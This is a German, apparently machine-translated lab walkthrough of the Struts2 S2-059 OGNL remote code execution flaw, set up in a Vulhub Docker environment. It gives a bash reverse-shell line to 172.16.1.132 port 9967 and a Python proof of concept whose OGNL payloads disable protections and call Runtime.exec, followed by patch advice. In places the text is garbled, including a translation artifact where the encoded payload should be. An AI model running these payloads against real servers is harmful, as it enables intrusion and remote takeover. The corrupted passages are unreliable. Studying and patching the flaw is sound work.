Heim  >  Artikel  >  Betrieb und Instandhaltung  >  Wie reproduziert sich die Sicherheitsanfälligkeit bezüglich Remotecodeausführung in Struts2 S2-059?

Wie reproduziert sich die Sicherheitsanfälligkeit bezüglich Remotecodeausführung in Struts2 S2-059?

王林
王林nach vorne
2023-05-23 22:37:161478Durchsuche

0x00Introduction

Struts2 ist ein sehr leistungsfähiges Java-Web-Open-Source-Framework, das von der Apache-Softwareorganisation gestartet wurde und im Wesentlichen einem Servlet entspricht. Struts2 basiert auf der MVC-Architektur und verfügt über eine klare Framework-Struktur. Es wird normalerweise als Controller zum Einrichten der Dateninteraktion zwischen Modellen und Ansichten verwendet und zum Erstellen von Java-Webanwendungen auf Unternehmensebene verwendet. Es nutzt und erweitert die Java-Servlet-API und ermutigt Entwickler, die MVC-Architektur zu übernehmen. Struts2 basiert auf den hervorragenden Designideen von WebWork, übernimmt einige der Vorteile des Struts-Frameworks und bietet ein übersichtlicheres Webanwendungs-Framework, das im MVC-Designmuster implementiert ist.

0x01 Schwachstellenübersicht

Ein Angreifer kann einen böswilligen OGNL-Ausdruck erstellen und ihn so einstellen, dass er durch externe Eingaben und den Attributwert von geändert wird Das Struts2-Tag des OGNL-Ausdrucks wird ausgeführt, was dazu führt, dass der OGNL-Ausdruck analysiert wird und letztendlich die Auswirkungen der Remotecodeausführung verursacht.

0x02 Einflussbereich

Struts 2.0.0 – Struts 2.5.20

0x03 Umgebungserstellung

1 Diese Schwachstellenumgebung wird schnell mit Vulhub erstellt. Die Vulhub-Downloadadresse lautet wie folgt:

https://github.com/vulhub /vulhub#🎜 🎜#

cd vulhub-master/struts2/s2-059

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

2. Verwenden Sie Docker-Compose, um schnell ein zu erstellen Schießstandumgebung

docker-compose up -d

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

3 Besuchen Sie nach Abschluss des Startvorgangs http://ip :8080/?id=1 im Browser Sie können die Testoberfläche sehen

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

0x04 Schwachstellenwiederkehr#🎜🎜 # 1. Durchsuchen Wenn der Server auf http://ip:8080/?id=%25{88*88} zugreift, können Sie feststellen, dass das ausgeführte 88*88 erfolgreich analysiert wurde und der Attributwert des Das Struts2-Tag des OGNL-Ausdrucks wird ausgeführt und löst die Analyse des OGNL-Ausdrucks aus.

Struts2 S2-059 远程代码执行漏洞复现是怎么样的2. Verwenden Sie poc, um die Shell abzuprallen. Die Nutzlast der Bounce-Shell muss Base64-codiert sein.

bash - i >& /dev/tcp/172.16.1.132/9967 0>&1

base64-codierte URL:

Der ursprüngliche Satz ist bereits ein vollständiger Satz, der einen Link bereitstellt . Wenn ich es umschreiben würde, könnte es so etwas sein: Hier ist ein Link zu einer Webseite mit Informationen zu Runtime-Exec-Payloads: http://www.jackson-t.ca/runtime-exec-payloads.html.

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

import requests

url = "http://127.0.0.1:8080"

data1 = {

"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"

}

data2 = {

"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('payload-base64编码'))}"

}

res1 = requests.post(url, data=data1)

res2 = requests.post(url, data=data2)
3. Ändern Sie die Nutzlast im POC auf Ihre eigene Nutzlast. und dann mit Python ausführen und Sie können sehen, dass die Shell zurückgeprallt ist 0x05 Reparaturvorschlag# 🎜🎜#

1. Upgrade auf Struts 2.5.22 oder höher

2. Aktivieren Sie den ONGL-Ausdrucksinjektionsschutz. Struts2 S2-059 远程代码执行漏洞复现是怎么样的

https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicable

Das obige ist der detaillierte Inhalt vonWie reproduziert sich die Sicherheitsanfälligkeit bezüglich Remotecodeausführung in Struts2 S2-059?. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:yisu.com. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen